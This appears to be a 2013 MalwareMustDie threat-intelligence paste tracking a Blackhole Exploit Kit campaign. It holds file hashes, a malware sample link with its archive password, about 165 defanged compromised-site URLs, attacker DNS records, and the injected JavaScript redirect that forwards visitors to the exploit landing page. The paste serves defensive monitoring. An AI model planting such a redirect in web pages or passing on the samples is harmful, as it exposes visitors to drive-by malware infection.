Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ==============================================================================================
- #MalwareMustDie - Monitoring of infection via BHEK at belnialamsik.ru:8080
- result: As per today 2013, Jan, 10th = 165infector urls
- implemented by same actor/moronz
- Source : URLquery:
- ===============================================================================================
- http://urlquery.net/search.php?q=new.htm&type=string&start=2012-12-26&end=2013-01-10&max=200
- ===============================================================================================
- Analysis, Evidence, PoC References:
- ===============
- LANDING PAGE:
- ===============
- MD5: 597ae3afee1e0b2b3ca77257e5ffb6ff
- File size: 112.1 KB ( 114839 bytes )
- File name: column.php
- File type: HTML
- Tags: html
- DetectionRatio: 1 / 46
- Analysis date: 2013-01-09 14:30:00 UTC ( 21 時間, 5 分 ago )
- Url: https://www.virustotal.com/file/58b85549f19db4d9b2996a6ea77b55fe1f8e1150ffb0f5564334f4bfd87fb51b/analysis/1357741800/
- ===============
- PAYLOAD:
- ===============
- MD5: ae0bf4502ea084de7f9bee920caed615
- File size: 128.0 KB ( 131072 bytes )
- File name: wgsdgsdgdsgsd.exe
- File type: Win32 EXE
- Tags: peexe
- DetectionRatio: 15 / 45
- Analysis date: 2013-01-09 18:48:25 UTC ( 16 時間, 48 分 ago )
- Url: https://www.virustotal.com/file/60c260cf47ba29f39fe295d0ec9c5ad86348792efaa777ff25393350dd328c5c/analysis/
- ===================================
- RESEARCH MATERIALS & SAMPLES
- ===================================
- Analysis + Guide to De-Obfuscating Landing page: https://dl.dropbox.com/u/32230830/MMD-20130108-BHEK-Cridex.txt
- Sample: https://t.co/EpTSPeLS (RWR/pwd: infected)
- =================================================
- Landing pafe infector domains record per IP:
- =================================================
- 91.224.135.20, 187.85.160.106, 82.165.193.26:
- belnialamsik.ru
- demoralization.ru
- bananamamor.ru
- // additional 11th Jan 2012:
- dimanakasono.ru
- 212.112.207.15, 91.224.135.20, 187.85.160.106
- landing page: h00p://dimanakasono.ru:8080/forum/links/column.php
- infector i.e.: h00p://www.gocscloud.com/upload.htm
- others: (thx to @adamcaudill)
- hXXp://mayerletydeman.com/upload.htm
- hXXp://ohotka.info/upload.htm
- hXXp://www.calabashpc.org/upload.htm
- hXXp://osreumaticos.com/upload.htm
- //additional 11th jan 2012:
- dmeiweilik.ru
- Resolving dmeiweilik.ru... 212.112.207.15, 91.224.135.20, 187.85.160.106
- Caching dmeiweilik.ru => 212.112.207.15 91.224.135.20 187.85.160.106
- Connecting to dmeiweilik.ru|212.112.207.15|:8080... seconds 0.00, connected.
- ==================================================
- RELATED CRIME PATTERN:
- ==================================================
- Bullet Proof Domains Detected as per 31th Dec 2012 http://pastebin.com/LXJizNGq
- Shutdown Domain List up to Dec 23rd 2012 http://pastebin.com/vh1spiCy
- ====================================
- INFECTOR URLS
- ===================================
- // format:
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
- <title>Please wait</title>
- </head>
- <body>
- <h2><b>Please wait a moment ... You will be forwarded. </h2></b>
- <h5>Internet Explorer and Mozilla Firefox compatible only</h5><br>
- <script>
- var1=49;
- var2=var1;
- if(var1==var2) {document.location="http://belnialamsik.ru:8080/forum/links/column.php";}
- </script>
- </body>
- </html>
- //165 urls so far:
- h00p://www.ludasokolova.com/new.htm [Russian Federation] 62.109.25.157
- h00p://ludasokolova.com/new.htm [Russian Federation] 62.109.25.157
- h00p://b2forum.com/new.htm [Romania] 93.115.84.136
- h00p://www.m-ps.co.il/new.htm [Israel] 195.28.181.30
- h00p://flytrap.pl/new.htm [Poland] 87.98.235.213
- h00p://wbm.webmaster31.ru/new.htm [Russian Federation] 62.109.3.19
- h00p://www.hd5518.com/new.htm [China] 203.158.16.75
- h00p://gdo-cp.ru/new.htm [Russian Federation] 92.38.226.13
- h00p://qql.ru/new.htm [Russian Federation] 77.222.61.14
- h00p://www.transweld.ru/new.htm [Russian Federation] 77.222.56.86
- h00p://exe-conn.com/new.htm [United States] 66.40.52.178
- h00p://quizzmania.avalonserver.org/new.htm [France] 91.121.105.25
- h00p://cs-mouse.pl/new.htm [Poland] 188.116.20.101
- h00p://loadgame.cl/new.htm [United States] 108.170.57.138
- h00p://ludasokolova.com/new.htm [Russian Federation] 62.109.25.157
- h00p://woodboard.by/new.htm [Belarus] 86.57.246.177
- h00p://tv10000.com/new.htm [China] 203.158.16.38
- h00p://www.ludasokolova.com/new.htm [Russian Federation] 62.109.25.157
- h00p://forum.pro-civic.ru/new.htm [Russian Federation] 188.120.246.238
- h00p://svajoniualbumas.lt/new.htm [Lithuania] 79.98.24.13
- h00p://gdo-cp.ru/new.htm [Russian Federation] 92.38.226.13
- h00p://i-area.ru/new.htm [Russian Federation] 37.140.192.31
- h00p://www.debtadviceunit.co.uk/new.htm [United Kingdom] 212.84.65.117
- h00p://aim.ug/new.htm [United States] 174.123.87.162
- h00p://bartine.com/new.htm [United States] 69.163.133.96
- h00p://i-rider.ru/new.htm [Russian Federation] 37.140.192.31
- h00p://www.twstech.com/new.htm [United States] 98.129.229.144
- h00p://degiraproducciones.com/new.htm [Spain] 184.173.247.226
- h00p://omegaportal.ru/new.htm [Russian Federation] 81.177.141.71
- h00p://www.havboat.no/new.htm [Norway] 217.65.224.235
- h00p://www.greekorthodoxchurchbuffalo.org/new.htm [United States] 98.129.229.190
- h00p://ad-astra.name/new.htm [Russian Federation] 77.222.40.63
- h00p://benjamin.bikeboom.com/new.htm [United States] 69.163.165.196
- h00p://pb.hssl.ie/new.htm [Ireland] 149.5.32.20
- h00p://www.loadgame.cl/new.htm [United States] 108.170.57.138
- h00p://betatur.ru/new.htm [Russian Federation] 85.249.230.167
- h00p://tuto-online.com/new.htm [Germany] 82.165.2.173
- h00p://brpclub.ru/new.htm [Russian Federation] 89.253.250.131
- h00p://www.lcgroup.lt/new.htm [Lithuania] 79.98.24.11
- h00p://foro.federacionasturianaairsoft.com/new.htm [Romania] 188.241.116.178
- h00p://forum.gs.nixl.net/new.htm [Germany] 46.4.197.121
- h00p://mebforum.ru/new.htm [Russian Federation] 92.53.123.104
- h00p://vsv-net.update.ch/new.htm [Switzerland] 217.150.250.146
- h00p://vgfreeimarket.com/new.htm [Ukraine] 194.28.172.71
- h00p://www.flixxy.com/new.htm [United States] 74.208.166.78
- h00p://home-bzview.info/new.htm [United States] 50.87.134.191
- h00p://www.leijenhorst.nl/new.htm [Netherlands] 85.92.147.241
- h00p://brpclub.ru/new.htm [Russian Federation] 89.253.250.131
- h00p://wbm.webmaster31.ru/new.htm [Russian Federation] 62.109.3.19
- h00p://tuto-online.com/new.htm [Germany] 82.165.2.173
- h00p://silentsoldiers.ru/new.htm [Russian Federation] 91.106.201.69
- h00p://m-group56.ru/new.htm [Russian Federation] 77.222.56.114
- h00p://lutchman.com/new.htm [United States] 74.220.207.109
- h00p://betatur.ru/new.htm [Russian Federation] 85.249.230.167
- h00p://scottishterriersherbrooke.com/new.htm [United States] 173.255.238.41
- h00p://www.norolo.com.br/new.htm [Brazil] 187.17.98.154
- h00p://www.loadgame.cl/new.htm [United States] 108.170.57.138
- h00p://pb.hssl.ie/new.htm [Ireland] 149.5.32.20
- h00p://romka111.myjino.ru/new.htm [Russian Federation] 81.177.141.71
- h00p://benjamin.bikeboom.com/new.htm [United States] 69.163.165.196
- h00p://taxi-allians.se/new.htm [Sweden] 91.123.193.54
- h00p://i-rider.ru/new.htm [Russian Federation] 37.140.192.31
- h00p://karesar.unimagroup.ru/new.htm [Germany] 213.239.214.68
- h00p://silentsoldiers.ru/new.htm [Russian Federation] 91.106.201.69
- h00p://ad-astra.name/new.htm [Russian Federation] 77.222.40.63
- h00p://www.greekorthodoxchurchbuffalo.org/new.htm [United States] 98.129.229.190
- h00p://www.havboat.no/new.htm [Norway] 217.65.224.235
- h00p://nautorpharma.com/new.htm [United States] 50.57.114.42
- h00p://dobroprom.ru/new.htm [Russian Federation] 81.177.6.141
- h00p://cress-spb.ru/new.htm [Russian Federation] 188.65.208.66
- h00p://shinom.ru/new.htm [Russian Federation] 188.65.208.66
- h00p://www.oddbusiness.no/new.htm [Norway] 217.65.224.235
- h00p://www.tvhnorby.se/new.htm [Denmark] 46.30.211.55
- h00p://omegaportal.ru/new.htm [Russian Federation] 81.177.141.71
- h00p://i-area.ru/new.htm [Russian Federation] 37.140.192.31
- h00p://www.consolasperu.com/new.htm [United States] 69.89.31.103
- h00p://uzktjm.uz/new.htm [Russian Federation] 78.110.50.148
- h00p://mon.game-serv.net/new.htm [Russian Federation] 93.170.76.98
- h00p://www.azaleaink.com/new.htm [China] 218.247.81.28
- h00p://degiraproducciones.com/new.htm [Spain] 184.173.247.226
- h00p://promoworksnigeria.com/new.htm [United Kingdom] 109.75.163.174
- h00p://elit-hotels.ru/new.htm [Russian Federation] 188.65.208.66
- h00p://ondirect.pixillionserver.co.uk/new.htm [United Kingdom] 87.237.69.104
- h00p://www.twstech.com/new.htm [United States] 98.129.229.144
- h00p://cospringsgroup.com/new.htm [United States] 69.163.218.103
- h00p://www.transweld.ru/new.htm [Russian Federation] 77.222.56.86
- h00p://qql.ru/new.htm [Russian Federation] 77.222.61.14
- h00p://static.terrarium.com.pl/new.htm [Poland] 87.98.235.213
- h00p://www.art-vitrag.com/new.htm [Russian Federation] 62.152.59.174
- h00p://www.tkarub.com/new.htm [United Arab Emirates] 70.87.29.6
- h00p://porter3.ru/new.htm [Russian Federation] 92.53.98.11
- h00p://aim.ug/new.htm [United States] 174.123.87.162
- h00p://bartine.com/new.htm [United States] 69.163.133.96
- h00p://www.hd5518.com/new.htm [China] 203.158.16.75
- h00p://flytrap.pl/new.htm [Poland] 87.98.235.213
- h00p://exe-conn.com/new.htm [United States] 66.40.52.178
- h00p://warheadhosting.com/new.htm [United States] 108.175.4.233
- h00p://foro.federacionasturianaairsoft.com/new.htm [Romania] 188.241.116.178
- h00p://pod-nami.ru/new.htm [Russian Federation] 91.218.228.60
- h00p://www.debtadviceunit.co.uk/new.htm [United Kingdom] 212.84.65.117
- h00p://norway-info.ru/new.htm [Russian Federation] 188.65.208.66
- h00p://chambresherbrooke.com/new.htm [United States] 173.255.238.41
- h00p://gdo-cp.ru/new.htm [Russian Federation] 92.38.226.13
- h00p://www.jiapan.net/new.htm [China] 203.158.16.38
- h00p://reflectioncenter.org/new.htm [United States] 67.205.57.213
- h00p://www.vectra-air.ru/new.htm [Russian Federation] 81.177.25.130
- h00p://tv10000.com/new.htm [China] 203.158.16.38
- h00p://loadgame.cl/new.htm [United States] 108.170.57.138
- h00p://woodboard.by/new.htm [Belarus] 86.57.246.177
- h00p://ludasokolova.com/new.htm [Russian Federation] 62.109.25.157
- h00p://forum.pro-civic.ru/new.htm [Russian Federation] 188.120.246.238
- h00p://www.kievbuild.net/new.htm [Germany] 78.47.82.43
- h00p://svajoniualbumas.lt/new.htm [Lithuania] 79.98.24.13
- h00p://kievbuild.net/new.htm [Germany] 78.47.82.43
- h00p://www.ludasokolova.com/new.htm [Russian Federation] 62.109.25.157
- h00p://www.ek-llc.ru/new.htm [Russian Federation] 81.177.25.130
- h00p://www.stadiumnightclub.ru/new.htm [Russian Federation] 89.111.177.192
- h00p://karesar.unimagroup.ru/new.htm [Germany] 213.239.214.68
- h00p://silentsoldiers.ru/new.htm [Russian Federation] 91.106.201.69
- h00p://lichno.net/new.htm [Bulgaria] 91.191.214.186
- h00p://wbm.webmaster31.ru/new.htm [Russian Federation] 62.109.3.19
- h00p://ascendence.net/new.htm [United States] 74.208.232.37
- h00p://cs-mouse.pl/new.htm [Poland] 188.116.20.101
- h00p://quizzmania.avalonserver.org/new.htm [France] 91.121.105.25
- h00p://strekozastrip.ru/new.htm [Russian Federation] 81.222.215.134
- h00p://disco80.su/new.htm [Russian Federation] 195.24.65.80
- h00p://www.m-ps.co.il/new.htm [Israel] 195.28.181.30
- h00p://www.simulatorgame.ir/new.htm [United States] 173.45.101.251
- h00p://test.fribytarna.fi/new.htm [Finland] 194.136.187.231
- h00p://bartine.com/new.htm [United States] 69.163.133.96
- h00p://forum.gs.nixl.net/new.htm [Germany] 46.4.197.121
- h00p://siui-dv.ru/new.htm [Russian Federation] 92.53.123.104
- h00p://bulleetbaluchon.org/new.htm [United States] 173.255.238.41
- h00p://www.initiationdegustationvin.fr/new.htm [United Kingdom] 80.169.210.33
- h00p://job-new.ru/new.htm [Russian Federation] 77.222.61.14
- h00p://romka111.myjino.ru/new.htm [Russian Federation] 81.177.141.71
- h00p://iksserver.altervista.org/new.htm [Germany] 213.133.109.72
- h00p://www.kievbuild.net/new.htm [Germany] 78.47.82.43
- h00p://www.chronischezorgantwerpenberchem.be/new.htm [Netherlands] 188.93.150.34
- h00p://job-new.ru/new.htm [Russian Federation] 77.222.61.14
- h00p://download.ll-b.net/new.htm [United States] 67.205.62.175
- h00p://test.fribytarna.fi/new.htm [Finland] 194.136.187.231
- h00p://kubsnab.ru/new.htm [Russian Federation] 195.208.1.108
- h00p://psp-team.giery.eu/new.htm [Germany] 80.237.210.112
- h00p://upliftinglivestoday.org/new.htm [United States] 204.15.179.43
- h00p://degiraproducciones.com/new.htm [Spain] 184.173.247.226
- h00p://b2forum.com/new.htm [Romania] 93.115.84.136
- h00p://cs.czteam.ro/new.htm [Romania] 194.42.102.203
- h00p://www.cabn.info/new.htm [United Kingdom] 88.208.252.193
- h00p://lichno.net/new.htm [Bulgaria] 91.191.214.186
- h00p://forum.gs.nixl.net/new.htm [Germany] 46.4.197.121
- h00p://mebforum.ru/new.htm [Russian Federation] 92.53.123.104
- h00p://siui-dv.ru/new.htm [Russian Federation] 92.53.123.104
- h00p://iksserver.altervista.org/new.htm [Germany] 213.133.109.72
- h00p://www.one-emu.fr/new.htm [France] 80.248.211.37
- h00p://4dceramics.com/new.htm [United States] 173.254.28.58
- h00p://pico.byteangle.com/new.htm [United States] 54.235.215.87
- h00p://puyallupadventurebootcamp.com/new.htm [United States] 69.61.11.243
- h00p://pico.byteangle.com/new.htm [United States] 54.235.215.87
- h00p://kubsnab.ru/new.htm [Russian Federation] 195.208.1.108
- h00p://www.one-emu.fr/new.htm [France] 80.248.211.37
- h00p://vsv-net.update.ch/new.htm [Switzerland] 217.150.250.146
- h00p://tv10000.com/new.htm [China] 203.158.16.38
- h00p://taxi-allians.se/new.htm [Sweden] 91.123.193.54
- h00p://pico.byteangle.com/new.htm [United States] 54.235.215.87
- ========================
- INFECTOR NETWORK DNS
- =======================
- belnialamsik.ru. 59 IN SOA ns1.belnialamsik.ru. root.belnialamsik.ru. 2012010101 604800 1800 1800 60
- belnialamsik.ru. 59 IN A 91.224.135.20
- belnialamsik.ru. 59 IN A 187.85.160.106
- belnialamsik.ru. 59 IN A 82.165.193.26
- belnialamsik.ru. 59 IN NS ns10.belnialamsik.ru.
- belnialamsik.ru. 59 IN NS ns8.belnialamsik.ru.
- belnialamsik.ru. 59 IN NS ns7.belnialamsik.ru.
- belnialamsik.ru. 59 IN NS ns12.belnialamsik.ru.
- belnialamsik.ru. 59 IN NS ns9.belnialamsik.ru.
- belnialamsik.ru. 59 IN NS ns11.belnialamsik.ru.
- belnialamsik.ru. 59 IN NS ns1.belnialamsik.ru.
- belnialamsik.ru. 59 IN NS ns2.belnialamsik.ru.
- belnialamsik.ru. 59 IN NS ns15.belnialamsik.ru.
- belnialamsik.ru. 59 IN NS ns5.belnialamsik.ru.
- belnialamsik.ru. 59 IN NS ns14.belnialamsik.ru.
- belnialamsik.ru. 59 IN NS ns3.belnialamsik.ru.
- belnialamsik.ru. 59 IN NS ns4.belnialamsik.ru.
- belnialamsik.ru. 59 IN NS ns6.belnialamsik.ru.
- belnialamsik.ru. 59 IN NS ns13.belnialamsik.ru.
- ns1.belnialamsik.ru. 3561 IN A 62.76.186.24
- ns2.belnialamsik.ru. 3561 IN A 41.168.5.140
- ns3.belnialamsik.ru. 3561 IN A 42.121.116.38
- ns4.belnialamsik.ru. 3561 IN A 110.164.58.250
- ns5.belnialamsik.ru. 3561 IN A 210.71.250.131
- ns6.belnialamsik.ru. 22 IN A 110.164.58.250
- ns7.belnialamsik.ru. 22 IN A 41.168.5.140
- ns8.belnialamsik.ru. 22 IN A 62.76.186.24
- ns9.belnialamsik.ru. 22 IN A 209.51.221.247
- ns10.belnialamsik.ru. 22 IN A 187.85.160.106
- ns11.belnialamsik.ru. 22 IN A 163.10.12.83
- ns12.belnialamsik.ru. 22 IN A 216.99.149.226
- ==============================
- OTTHER DOMAINS ALIVE POC
- ==============================
- ; <<>> DiG 9.8.1-P1 <<>> demoralization.ru
- ;; global options: +cmd
- ;; Got answer:
- ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4808
- ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 15, ADDITIONAL: 10
- ;; QUESTION SECTION:
- ;demoralization.ru. IN A
- ;; ANSWER SECTION:
- demoralization.ru. 60 IN A 91.224.135.20
- demoralization.ru. 60 IN A 187.85.160.106
- ;; AUTHORITY SECTION:
- demoralization.ru. 60 IN NS ns6.demoralization.ru.
- demoralization.ru. 60 IN NS ns1.demoralization.ru.
- demoralization.ru. 60 IN NS ns8.demoralization.ru.
- demoralization.ru. 60 IN NS ns2.demoralization.ru.
- demoralization.ru. 60 IN NS ns3.demoralization.ru.
- demoralization.ru. 60 IN NS ns15.demoralization.ru.
- demoralization.ru. 60 IN NS ns13.demoralization.ru.
- demoralization.ru. 60 IN NS ns4.demoralization.ru.
- demoralization.ru. 60 IN NS ns11.demoralization.ru.
- demoralization.ru. 60 IN NS ns14.demoralization.ru.
- demoralization.ru. 60 IN NS ns5.demoralization.ru.
- demoralization.ru. 60 IN NS ns7.demoralization.ru.
- demoralization.ru. 60 IN NS ns9.demoralization.ru.
- demoralization.ru. 60 IN NS ns10.demoralization.ru.
- demoralization.ru. 60 IN NS ns12.demoralization.ru.
- ;; ADDITIONAL SECTION:
- ns1.demoralization.ru. 3600 IN A 62.76.186.24
- ns2.demoralization.ru. 3600 IN A 41.168.5.140
- ns3.demoralization.ru. 3600 IN A 42.121.116.38
- ns4.demoralization.ru. 3600 IN A 110.164.58.250
- ns5.demoralization.ru. 3600 IN A 210.71.250.131
- ns6.demoralization.ru. 60 IN A 110.164.58.250
- ns7.demoralization.ru. 60 IN A 41.168.5.140
- ns8.demoralization.ru. 60 IN A 62.76.186.24
- ns9.demoralization.ru. 60 IN A 209.51.221.247
- ns10.demoralization.ru. 60 IN A 187.85.160.106
- ; <<>> DiG 9.8.1-P1 <<>> bananamamor.ru
- ;; global options: +cmd
- ;; Got answer:
- ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20611
- ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 15, ADDITIONAL: 10
- ;; QUESTION SECTION:
- ;bananamamor.ru. IN A
- ;; ANSWER SECTION:
- bananamamor.ru. 60 IN A 187.85.160.106
- bananamamor.ru. 60 IN A 91.224.135.20
- ;; AUTHORITY SECTION:
- bananamamor.ru. 60 IN NS ns14.bananamamor.ru.
- bananamamor.ru. 60 IN NS ns13.bananamamor.ru.
- bananamamor.ru. 60 IN NS ns11.bananamamor.ru.
- bananamamor.ru. 60 IN NS ns12.bananamamor.ru.
- bananamamor.ru. 60 IN NS ns6.bananamamor.ru.
- bananamamor.ru. 60 IN NS ns10.bananamamor.ru.
- bananamamor.ru. 60 IN NS ns3.bananamamor.ru.
- bananamamor.ru. 60 IN NS ns2.bananamamor.ru.
- bananamamor.ru. 60 IN NS ns4.bananamamor.ru.
- bananamamor.ru. 60 IN NS ns9.bananamamor.ru.
- bananamamor.ru. 60 IN NS ns15.bananamamor.ru.
- bananamamor.ru. 60 IN NS ns8.bananamamor.ru.
- bananamamor.ru. 60 IN NS ns5.bananamamor.ru.
- bananamamor.ru. 60 IN NS ns7.bananamamor.ru.
- bananamamor.ru. 60 IN NS ns1.bananamamor.ru.
- ;; ADDITIONAL SECTION:
- ns1.bananamamor.ru. 3600 IN A 62.76.186.24
- ns2.bananamamor.ru. 3600 IN A 41.168.5.140
- ns3.bananamamor.ru. 3600 IN A 42.121.116.38
- ns4.bananamamor.ru. 3600 IN A 110.164.58.250
- ns5.bananamamor.ru. 3600 IN A 210.71.250.131
- ns6.bananamamor.ru. 60 IN A 110.164.58.250
- ns7.bananamamor.ru. 60 IN A 41.168.5.140
- ns8.bananamamor.ru. 60 IN A 62.76.186.24
- ns9.bananamamor.ru. 60 IN A 209.51.221.247
- ns10.bananamamor.ru. 60 IN A 187.85.160.106
- ----
- @unixfreaxjp ~]$ date
- Thu Jan 10 20:41:22 JST 2013
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement